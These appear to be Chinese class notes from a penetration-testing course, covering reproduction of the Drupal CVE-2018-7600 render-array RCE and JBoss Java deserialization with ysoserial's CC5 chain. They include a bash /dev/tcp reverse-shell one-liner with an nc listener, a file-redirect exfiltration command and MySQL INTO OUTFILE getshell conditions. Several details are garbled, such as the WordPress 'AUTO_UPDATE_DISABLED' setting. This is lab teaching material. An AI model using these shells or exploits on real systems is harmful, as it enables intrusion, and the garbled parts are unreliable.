课堂笔记-8月23日
课堂笔记-8月23日:从「表单渲染」到「反序列化」——Drupal 7600 漏洞复现与 JBoss 反弹 Shell 实战
来源:
8_23/录音.txt| 日期:2026-08-23 | 主题:框架漏洞(Drupal 7600 系)原理与复现 + Java 反序列化(JBoss / CC5)+ 反弹 Shell 实战
〇、今日主线
今天是一节「动手 + 原理」并重的攻防实操课,核心内容分三条线:
- 上午围绕一个老框架的 RCE 漏洞(老师口述编号「20187600」,即 Drupal 系 CVE-2018-7600 / 7602 系列),从"为什么一个看似普通的注册表单会变成命令执行"出发,完整走了一遍 环境搭建 → 前端表单分析 → 渲染机制原理 → 漏洞复现 的链路。
- 下午转向 Java 反序列化漏洞(JBoss + CC5 利用链),演示 ysoserial 工具用法、无回显情况下的两种解法(文件重定向 / 反弹 Shell),并反复强调"理解原理 + 熟练工具"比死记 POC 更重要。
- 贯穿全程的是一条学习观:研究漏洞不能停留在表面、不能只复制粘贴别人的 POC,要追完整利用链、亲手调试;技术选型要跟随主流框架(Laravel / ThinkPHP / Yii),不要在织梦这类过时框架上浪费时间。
一、课前回顾与学习理念
1.1 昨日练习回顾
- 欣老师回顾前一天的测试练习,用结果帮大家认清自己的学习状况;表扬班级整体学习氛围好(昨晚还有同学在群里讨论调试问题)。
- 出现一个典型案例:WordPress 调试版被强制自动升级,导致原本存在的漏洞被修复。
1.2 WordPress 自动升级的坑(重点)
- 安装 WordPress 时若联网,系统可能自动把版本从 6.9.4 升到 7.0.2 等新版本,漏洞随之被修复,靶场直接失效。
- 解决办法:在
wp-config.php中禁用自动升级:
// 在 wp-config.php 中加入(录音原文字段名为 AUTO_UPDATE_DISABLED)
define('AUTO_UPDATE_DISABLED', true);
- 最佳实践:在安装之前就改好配置,确保装完不会自动升级、保留漏洞用于测试。老师提到多年前做 WordPress 漏洞测试就用过这招,效果很好。
1.3 学习理念
- 别急着赶进度:前面没掌握好就往后学,会造成"知识堆积",看似快实则效果差,先把基础打牢。
- 动手 > 反复看文档:基本原理掌握后,观望没有意义,必须实操("学游泳,看再多教程也不如下水一次")。
- 理论学习和实践操作要平衡,过度停留在理论阶段反而阻碍进步。
二、技术选型:主流框架 vs 过时框架
2.1 PHP 主流框架对比
欣老师用生活化类比讲框架差异:ThinkPHP = 毛坯房(需自己从头搭建),Laravel = 精装房(内置前端后台、开箱即用,解决方案更完整,也是它能连续获全球大奖的原因)。
| 框架 | 地位 | 备注 |
|---|---|---|
| Laravel | 国内最主流之一 | 功能最全,"精装房",重点掌握 |
| ThinkPHP | 国内最主流之一 | 需自行搭建,"毛坯房",国内使用极广 |
| Yii | 主流三大框架之一 | 与 Laravel / ThinkPHP 同级 |
| CI | 国外还行,国内基本没人用 | 可略过 |
| 织梦 DedeCMS | 2010-2015 年很火,现已淘汰 | 官网仍有更新,但版本从 2015 至今都是 5.7,更新频率极低 |
- 框架生命周期很短:几年前还流行的框架,现在可能已过时(织梦是典型,网站风格停在几年前)。
- 学习建议:把精力放在当下主流框架上;织梦、易兔这类国内已没人用的建站系统,"资料能找到但没必要花时间研究"。
- 老框架往往提供
request->get()之类的快捷方法,内置自动过滤机制(能防 SQL 注入),比直接$_GET更安全——但"掌握起来很简单,实际价值不大"。
2.2 漏洞研究观(今天反复强调)
- 现在很多"漏洞研究"是表面功夫:复制粘贴利用代码 + 几句简单描述,根本没理解漏洞根本原因。就像 WordPress 某漏洞,网上新闻一大把,深度分析原理的文章寥寥无几。
- 检索技巧:找有价值的分析,用 Google 搜原作者的文章;百度往往搜不到深度内容。
- AI 文章的两面性:AI 生成的漏洞分析能抓住关键点,但缺乏深度技术细节——比如某篇 7 月 19 号的文章提"路由混淆注入",只说"发一个 batch 含三个子请求",却不讲清参数如何最终传入数据库查询。30 篇相关文章里,9 篇直接用了 AI 总结,内容非常浅。
- 技术浮躁现象:蹭热点的往往是"半桶水",真正深入研究的专家(如 360 研究员常婷)通常保持低调。
- 方法论两条:1)不能只看漏洞描述,要追踪完整利用链;2)关注"参数如何传递到 SQL 查询"这类底层实现细节。
- 核心认知:漏洞研究的价值在于第一手分析。面对不熟悉的框架,宁可先保持空白认知,也不要被网络噪音干扰判断。
三、CVE-2018-7600(Drupalgeddon2)原理与复现
编号说明:录音中该漏洞被老师写作「20187600」,并混用「2017.7600」「7600 / 7602」等说法,实际对应 Drupal 的 CVE-2018-7600(Drupalgeddon2)及其补丁绕过 CVE-2018-7602,是约 8 年前的老漏洞。老师强调:这类老漏洞实战遇到概率极低(没多少公司还用 10 年前的系统),更适合学习研究;国内真正容易遇到的是 WordPress 最新漏洞、宝塔、雷池这类用量大的系统。
3.1 前置知识:表单提交的两种方式
| 方式 | 特点 |
|---|---|
| 传统 form POST | 填完直接点提交,刷新整个页面 |
| JS / Ajax 控制 | 事件触发提交,不依赖 form 默认提交,无刷新局部更新 |
- JS 为什么能提交表单:
window对象是 JS 的顶级父类,包含所有事件(onclick等);JS 几乎能监听和操作页面上的任何交互。 - Ajax 的历史:2010-2014 年很火,核心是无刷新更新页面(改邮箱只刷邮箱那块);现在实际开发已很少直接写
XMLHttpRequest,主流是 React、Fetch API 等,但 Ajax 仍是底层基础。
3.2 前端表单的代码细节(老师手写例子)
- 表单前端约 370 行,绝大部分是 CSS,真正的表单结构很简单。
- 表单用
div包裹,必须给<form>设置id(id 全局唯一,比 class 更适合 JS 精确抓取,配合getElementById)。 - 三列:姓名、邮箱、留言。不用
input type="submit",而用<button>控制提交 / 重置。 - 提交流程:
new FormData创建表单数据对象 → 格式转换 → Ajax 发送。 - 防抖处理:提交按钮点击后立即变为"提交中"并设置
disabled防重复点击;服务器返回 200 后恢复原状态。 - 状态码:200-300 之间都算成功,但业务上通常只关注 200。
- 内置浏览器校验:JS 监听 click 事件,抓取 name / email 值,字段空缺直接触发浏览器内置校验,无需手写验证逻辑。
- 前端建议:不必过度追求复杂样式,用 id 标识关键元素、关注功能简洁与可维护性。
3.3 环境搭建(Docker 复现)
- 用 Docker 复现,解压约 80 多 MB 的安装包,进入
2017.7600目录,Docker 环境已预配置好。 - 镜像:从远程仓库拉取 8.5.0 版本,默认映射到本地 8080 端口(被占用需手动改)。
docker-compose up启动服务。 - 代理配置:若之前用华为镜像源(如 LiteSpeed)可能无需配置;从国外拉镜像必须提前设置代理。配置 HTTP/HTTPS 两类代理,把代理地址里的 IP 改成
192.168.68.1xx,端口因人而异(示例7897),改完重载配置或重启 Docker。 - 容器成功映射 8080 后,访问
http://192.168.68.190:8080(安装提示基本一路下一步,语言选英文 / 中文都行)。 - 数据库选择:Docker 环境默认装 SQLite(某些系统未预装 MySQL);本地有 MySQL 就选 MySQL(用本地管理员账号密码)。重点在于搞清系统实际用的数据库类型,而不是纠结语言选项。
- 装完进后台:支持文章发布(标题、排版、插图)、给文章打标签分类。注意:前端 / 后端都禁止直接上传 PHP 文件,否则不会这么麻烦。
3.4 Composer 依赖管理(PHP 环境常见坑)
- Drupal 8.x 用 PHP 的 Composer 管理依赖(类似 Python 的 pip / Node 的 npm)。系统装好了但缺第三方依赖库(
vendor目录)就运行不了。 - 版本兼容性:必须用 Composer 1.x(老师强调 1.8.5),2.x 与老系统不兼容。AI 曾自动装 2.0 报错,降级到 1.0 才适配。
- 核心命令:
composer install(可加--no-interaction跳过交互确认)。
| 安装方式 | 优点 | 缺点 |
|---|---|---|
| 直接下载安装 | 简单直接 | 易下到高版本不兼容(如 2.5.2) |
| PyArrow 0.85 | 适合已有 PyArrow 环境 | 适用范围窄 |
| Docker | 安装最简单 | 调试麻烦,需进容器操作 |
- 版本差异:Drupal 7.x(7.5 / 7.7)无需预装第三方库,装完直接访问即可;8.5 必须先用 Composer 装依赖库,否则无法运行。可用
phpinfo查 PHP 版本。 - 老师建议:本地装环境,调试最方便(虽安装稍麻烦,主要下载库文件);文档已发群里,配置文件可从 GitHub 下载。
3.5 核心机制:Drupal 渲染数组(Render Array)与 # 前缀
- Drupal 的页面区块、表单 UI 统一表示为嵌套的渲染元素;以井号
#开头的键决定元素的渲染方式。 - 关键属性:
| 属性 | 含义 |
|---|---|
#markup |
类似 HTML 的 P 标签,但经框架预处理(安全输出原始字符串) |
#makeup(录音即 markup) |
提交数据前对内容做处理(如大小写转换),本质是预处理渲染 |
#pre_render |
渲染前处理("做菜前的食材预处理") |
#post_render |
渲染后处理("菜做好后再加工")——回调会被直接调用,重点检查环节 |
#build |
懒加载相关 |
| 回调函数 | 渲染输出的核心机制 |
- 工作机制类似"菜谱 + 厨师":系统不直接输出 HTML,而是先构建数据描述(菜谱,含 type 等信息),再交给渲染器(厨师)转成最终页面。
- 英语命名规范:理解
post= "在…之后"(对应pre= "在…之前"),就懂#post_render是"渲染完成后的回调"。
3.6 漏洞成因:为什么表单提交会变成 RCE
- 正常逻辑:系统自动生成邮件内容,用过滤器校验 email 格式,渲染器处理表单数据。
- 问题所在:系统没有过滤用户提交的
#前缀键,导致攻击者能"狸猫换太子":- 用户提交特殊构造的数组(以
#开头的键,如#post_render、#value),覆盖系统默认的表单渲染逻辑; - 渲染器把用户数据原样处理,遇到特定格式的数组会把它当作回调函数执行;
- 当回调函数及其参数都用户可控时 → 任意代码注入 → RCE(命令执行)。
- 用户提交特殊构造的数组(以
- 老师类比:就像有人偷偷改自动售货机程序,让它把假币当真钱收;"无害内容(普通文字)+ 用户可控回调函数"组合成漏洞。
- 关键点:
#value格式必须与后端字段名完全匹配(后端抓取#y6,就提交对应#y6的值,改别的值就接不到)。value元素存的就是实际提交的内容。 - 官方修复:直接删除所有以
#开头的键名,堵住"用户输入覆盖系统组件"的通道。
3.7 漏洞利用三步(完整链)
- 构建表单:构造注册表单(必填 email + username),在 email 字段注入
#开头的恶意键(如#post_render); - 上传图片触发:点击"上传图片"按钮 → 前端触发请求,系统先检查表单中是否有
post_render属性,有则对 email 字段先做过滤;此时表单数据(含恶意 email 参数)已全部就绪; - 回调执行:渲染器把渲染结果作为回调函数的第一个参数传入 → 恶意回调被执行 → RCE。
- 关键点:
- 表单元素分阶段、按顺序构建:先 email → 再用户名 → 最后图片上传;处理图片元素时 email 是"已构建完成的父级元素"(
environment parents参数捕获这种前置关系)。 - 文件上传的回调函数在表单数据构建完成后才触发,所以回调能拿到之前构建的所有字段。
- 用户提交的数据会覆盖系统原有数据(user picture、email 都是用户可控输入)。
- 复现时用抓包工具观察 form 数据(email、name 都通过上传方式提交),可填
123456测试值;用 F12 开发者工具观察表单构建过程。 - 注册接口和管理员修改密码的接口不同,不要混用;分析
regist创建过程发现两处问题,是 RCE 的直接诱因(基于代码逻辑 + 经验直觉判断,需深入追踪代码——该框架代码比 WordPress 简单,两三个步骤即可定位根源)。
- 表单元素分阶段、按顺序构建:先 email → 再用户名 → 最后图片上传;处理图片元素时 email 是"已构建完成的父级元素"(
3.8 与 WordPress 漏洞的共通点:缓存投毒(7602 绕过)
- 老师指出,7602 补丁的绕过方式与 WordPress 漏洞异曲同工,都是「缓存投毒」:
- 先在缓存中"下毒"(污染缓存数据);
- 再读取被污染的数据触发漏洞。
- 这种"先污染缓存再引爆"的手法在很多漏洞中重复出现。识别不同漏洞中重复出现的攻击模式,能更快理解利用原理。老师建议先练完这个,下午再讲第二个知识点。
3.9 调试要点与坑
- 不要用 nginx:该项目依赖
.htaccess重定向文件(把.php结尾的请求伪装、隐藏行踪),nginx 不认.htaccess。 - AI 辅助代码分析可行,但要逐行验证;老师本地装环境是为了下断点调试。
- 断点建议:表单构建
form builder在代码 238 行附近;build方法在 98 行(捕获上层抛出的异常);渲染器过滤逻辑在 505 行左右;179 行可观察到"先取 email 真实内容、再与图片打包提交"。 - "假异常":该系统用异常机制做流程跳转和数据传递(不是真错误)——表单处理完本应渲染整个 HTML,但 Ajax 只需特定元素数据,系统最初没设计返回值机制,就借用异常当"快递盒"传递表单数据。要区分这种"假异常"和真正的程序错误。
- Docker 与本地是隔离环境:容器里创建的文件只在容器内,别去本地系统找。正确做法:先进容器,再检查容器内临时目录。
- 抓包测试时:email 内容可控且未过滤 → 可提交恶意
post_render内容;常规提交不会触发 email 过滤,只有在伪造#post_render条件时才会执行过滤操作。
四、Java 反序列化:JBoss 实战
4.1 漏洞本质
- 与 SQL 注入同理:用户输入未经过滤,直接被传入 Java 反序列化函数执行。
- 漏洞存在于特定接口:直接反序列化用户 POST 请求数据;要成功利用,POST 请求中必须包含可执行命令的第三方组件(利用链)。
- JBoss 服务跑在 8080 端口很常见(环境里有 11 张图辅助理解利用过程)。
4.2 JBoss 特征与识别
- 渗透测试中识别 JBoss 特征很重要(看到特定响应页面就联想到对应漏洞);考试主要关注特定漏洞,实际渗透要了解所有攻击面。
- 若成功反弹 Shell,通常直接获得 root 权限——Java 反序列化往往具备高权限执行特点。
- 该漏洞出现于 2017 年,相关资料往往只给利用方法、缺原理说明,建议自行复现,但要有"只有答案、没有过程"的心理准备。
4.3 ysoserial 工具 + JDK 环境
- 工具来源:2017 年国外安全人员在黑帽大会上提出(即 ysoserial),直接引发后续一系列 Java 漏洞。
- 使用前提:配置 JDK 环境,推荐 JDK8(下载
jdk8u202,Oracle 官网可能要注册账号;本机已装同版本可跳过)。 - 必须明确漏洞编号 + 检查端口冲突(如 8080 被占用)。老师举例:某 2017 漏洞利用场景中,提供的链接指向了错误工具(该给 Java 反序列化工具却给了 Shell 脚本)——"光有答案不够,必须理解执行环境和工具链的匹配性"。
4.4 CC5 利用链与无回显
- 利用链:CC5(Commons Collections 5),触发核心类为
BadAttributeValueException(生成 POC 里可辨认出)。 - 使用前先加
cc5+32参数配置;执行命令可自定义(演示是弹计算器,实战常改为cat flag)。 - 命令执行可能无回显——即使
cat flag成功,页面也不显示结果(像按了电梯按钮灯不亮)。
4.5 无回显的两种解法(面试常考)
| 方法 | 原理 | 命令示例 |
|---|---|---|
| 文件重定向 | 知道网站物理路径(开源系统通常可知),把命令结果重定向到 web 目录再访问 | cat /flag > /var/www/html/1.txt |
| 反弹 Shell | 网络允许时把远程 shell 拉回本地,所有输出直接可见 | bash -i >& /dev/tcp/192.168.68.190/12345 0>&1 |
- 核心思路:把不可见输出变成可见——前者靠文件间接获取,后者靠反向连接直接获取。
- 反弹 Shell 详细配置:
- 目标 IP:
192.168.68.190,端口12345,用/dev/tcp/做 TCP 连接; - 注意格式细节(空格、符号位置);
0>&1表示把标准输入(0)重定向到标准输出(1),保证命令行输出可见(平时更常用2>&1把错误输出也带上); - 本地用
nc -lvv 12345监听;先外部测试监听是否成功; - 反弹到云服务器:实战 / 考试要反弹到阿里云 / 腾讯云服务器,而不是本地虚拟机,否则可能反弹不回来,服务器 IP 非常关键。
- 排错:没有返回结果时,检查命令是否正确(不确定就直接复制粘贴正确命令);参数细节一个小错(如把
ls写成l)就导致整个流程失败。
- 目标 IP:
4.6 验证命令执行是否成功
- 页面回显在漏洞利用中并不常见,需要间接验证:
- 用
system()执行任意系统命令(Windows / Linux 均可); - 在目标临时目录
touch一个文件,再进系统 / 容器检查文件是否生成; - 或在 web 目录下创建文件(如
ertit),通过网站直接访问该文件,能访问即证明利用成功。
- 用
- Docker 场景:先
docker exec进容器再检查临时目录,别在本地找。
4.7 请求与抓包细节
- GET 传参有安全隐患 → 改用 POST;即使 POST,
Content-Type必须明确设为application/json(或其他对应格式),否则数据解析出错。 - 发送数据异常判断:正常发送的文字显示蓝色、异常显示黑色(数据未完整传输);服务监听端口与请求目标端口不一致会返回 500。
- 配置必须写对 IP(192.168.68.190)和端口(8080 / invoker 接口),否则容易出错。
- 老师更推荐用 curl 类工具做监听传输,乱码问题更少、更稳定;老工具偶尔会卡死需重启。
五、今日重点方法论
5.1 今天的两大任务
- 搞懂 Windows / Linux 环境下的漏洞搭建(已讲完);
- 研究漏洞原理——弄清漏洞产生的具体原因和利用方式。
- 对 Java 反序列化漏洞:现阶段不用深挖原理,先把漏洞利用方法和反序列化工具使用掌握好,后期讲到反序列化就能跳过工具基础,节省时间。
- 一句话总结:搭建环境 + 复现漏洞打基础,搞懂原理 + 掌握工具为后续铺路。
5.2 版本选择:稳定优先,别追新
- PHP 已更新到 8.5,但生产环境 7.3 / 7.4 仍是使用最广泛的版本;Java 的 JDK 已到 22,但最常用的还是 JDK 1.8。老师强调稳定性和社区生态比追新更重要,研究老版本(如 1.8 系)更具实际意义。
- 版本号易混点:今天演示用的是 8.5.0(文件夹名不带具体版本号),7600 对应的是 7602 版本,别混淆。
5.3 考试与复现技巧
- 复现漏洞不需要死记硬背:先熟悉漏洞特征,考试遇到能快速识别、再查阅资料。
- 考试经验(老师自述):考场虽有摄像头监控,但切屏查资料未被拦截——这是概率问题(抽检机制),不要依赖。
- 遇到技术问题很正常(命令未执行、执行后找不到结果);Windows 下工具不好用就重试,或换用搜索工具排查;看到 AI 提示后要立即行动,不要停在查看阶段。
- 数据包匹配是执行成功的关键:发送点和接收点对应上,成功率就高。调试环境建议统一(要么都 Windows、要么都 Docker);Docker 不方便调试时,可先在 Docker 执行确认命令成功,再到本地调试核心函数。
- Windows 下没有
id命令,别照搬 Linux 命令;用exec还是system本质都能实现相同功能(dir/ls同理),系统差异导致的编码 / 输出细微差异很正常,不必纠结完美,先动手。 - 框架已完整提供时别过度纠结底层细节:项目已配好环境、写好配置,直接按既定命令执行即可("用微波炉不需要研究磁控管原理")。
附:行动清单
- 修好 WordPress 靶场:在
wp-config.php禁用自动升级(AUTO_UPDATE_DISABLED),重装验证不再被自动升级修复漏洞。 - 本地搭建 Drupal 8.5 漏洞环境:按群里文档从 GitHub 下载源码,用 Composer 1.x(不要用 2.x)装依赖,选 MySQL,跑通安装程序并
phpinfo验证 PHP 版本。 - 亲手复现 CVE-2018-7600:用 F12 + 抓包工具走完"构建表单 → 上传图片触发 →
#post_render回调执行"三步,在 238 / 98 / 179 / 505 行附近下断点看数据流。 - 打通 JBoss 反序列化:下载 ysoserial jar + JDK8,配好 CC5(
cc5+32)参数,用/invoker接口 POST(Content-Type: application/json)执行cat flag。 - 练习无回显两种解法:文件重定向到 web 目录再访问;反弹 Shell 到云服务器(
nc -lvv 12345监听 +bash -i >& /dev/tcp/<IP>/12345 0>&1),并先外部测试监听。 - 对照 PDF 把答案流程走通:先复制答案完成练习,把工具使用和输入方式跑熟,再回头研究原理;注意 Docker 容器与本地环境隔离,进容器检查文件。
附:简历与就业要点
- 面试高频题:
- "MySQL 如何 getshell"——需同时满足三个严苛条件:①知道目标路径;②root 权限(或 file 权限);③
secure_file_priv为空。两条主要路径:文件写入权限(INTO OUTFILE)、管理员后台插件上传。强调:即使不是 root,只要有 file 权限也能注入,但该权限通常仅 root 持有。 - "反弹 Shell"——无回显的两种解法(文件重定向 / 反弹 Shell)是面试常考点,要把原理和命令都讲清。
- "MySQL 如何 getshell"——需同时满足三个严苛条件:①知道目标路径;②root 权限(或 file 权限);③
- 技术方向建议:简历 / 面试展示的技术要跟随市场主流(Laravel / ThinkPHP / Yii、最新版 WordPress、国内用量大的系统如宝塔 / 雷池),不要拿 2007-2017 年的老框架当卖点;老漏洞(如 20187600、2017 反序列化)适合讲原理和调试能力,不适合当实战经验吹。
- 考证 / 考试策略:看到特定报错能对应到漏洞类型(如 JBoss 反序列化),直接调用现成代码即可;不必深究原理细节,重点是利用方法 + 工具熟练度。老师提醒考试切屏查资料是概率问题,不能依赖。
- 学习观:真正深入研究漏洞的专家保持低调,网上高调分析文章很多是 AI 生成的表面内容;与其依赖二手信息,不如让 AI 辅助自己研究原始漏洞——第一手分析才是核心竞争力。
浙公网安备 33010602011771号